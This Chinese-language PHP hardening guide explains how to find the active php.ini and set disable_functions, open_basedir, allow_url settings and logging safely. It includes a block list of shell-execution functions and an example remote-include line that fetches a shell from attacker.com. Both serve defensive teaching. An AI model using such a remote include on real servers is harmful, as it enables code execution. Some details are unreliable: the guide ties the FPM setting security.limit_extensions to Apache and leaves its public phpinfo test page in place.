必须通过phpinfo()页面确认“Loaded Configuration File”路径才是真实生效的php.ini,禁用函数须全小写、无空格、无末尾逗号、单行逗号分隔,且需同步配置open_basedir、allow_url_fopen=Off等三层防线并验证权限与日志路径。

生产环境 PHP 独立部署(非 Docker、非托管平台)必须手动控制每一层暴露面——disable_functions 配置无效、open_basedir 路径错位、error_log 权限失控,任何一个点都会让整套加固形同虚设。
怎么确认改的是真正生效的 php.ini
PHP 在 CLI、Apache 模块、FPM 下加载的是不同配置文件,改错位置等于没改。别猜路径,用事实验证:
- 新建
/var/www/html/info.php,内容为<?php phpinfo(); ?> - 浏览器访问该页面,搜索
Loaded Configuration File—— 显示的路径才是你要编辑的文件 - Ubuntu/Debian 常见路径:
/etc/php/8.1/apache2/php.ini(Apache)、/etc/php/8.1/fpm/php.ini(FPM)、/etc/php/8.1/cli/php.ini(命令行) - Windows WAMP/XAMPP 用户注意:不要改
php.ini-development或桌面副本;用 Notepad++ 打开,避免 WordPad 插入不可见字符
disable_functions 必须按字节级写法填
这个配置项零容错:一个空格、大小写错误、末尾逗号,PHP 都会静默丢弃整行,且不报错、不警告。
- 函数名必须全小写:
exec✅,EXEC❌,shell_exec✅,Shell_Exec❌ - 逗号是唯一分隔符,前后**绝对不能有空格**:
exec,system,passthru✅,exec, system❌(system不会被识别) - 禁止换行、禁止末尾逗号:
eval,assert,❌(值变为空) - 推荐最小必要列表(适配 PHP 7.4–8.2):
exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,eval,assert,symlink,link,dl,putenv,ini_set,file_put_contents,curl_exec,curl_multi_exec,parse_ini_file,show_source,escapeshellcmd,escapeshellarg
为什么只禁函数远远不够
攻击者早就不靠 exec() 直接打 shell 了——他们写个木马文件再 include,或用 file_put_contents() + assert() 组合绕过。必须叠加三道防线:
立即学习“PHP免费学习笔记(深入)”;
-
open_basedir = /var/www/html:/tmp:/var/log:多个路径用英文冒号分隔;确保包含上传目录、临时目录、日志目录;漏掉/tmp会导致 Laravel 缓存、Composer 临时解压失败 -
allow_url_fopen = Off且allow_url_include = Off:防include("http://attacker.com/shell.php")类 SSRF+RCE -
opcache.restrict_api = "/dev/null"(PHP 7.4+):防止未授权调用opcache_get_status()泄露绝对路径和缓存结构
容易被忽略但致命的三个细节
这些点不会在 phpinfo() 里高亮,但一出问题就是线上事故:
-
error_log = /var/log/php_errors.log必须指定绝对路径,且确保 PHP 进程用户(如www-data)对该文件有写权限;否则错误全丢进黑洞,连 500 错误都查不到原因 -
expose_php = Off和display_errors = Off必须同时启用;前者关响应头X-Powered-By,后者防 HTML 页面直接输出堆栈——两者缺一,都可能泄露 PHP 版本或代码路径 - Apache 用户额外检查:
security.limit_extensions = .php(在www.conf中),否则攻击者传shell.phtml可绕过解析限制



















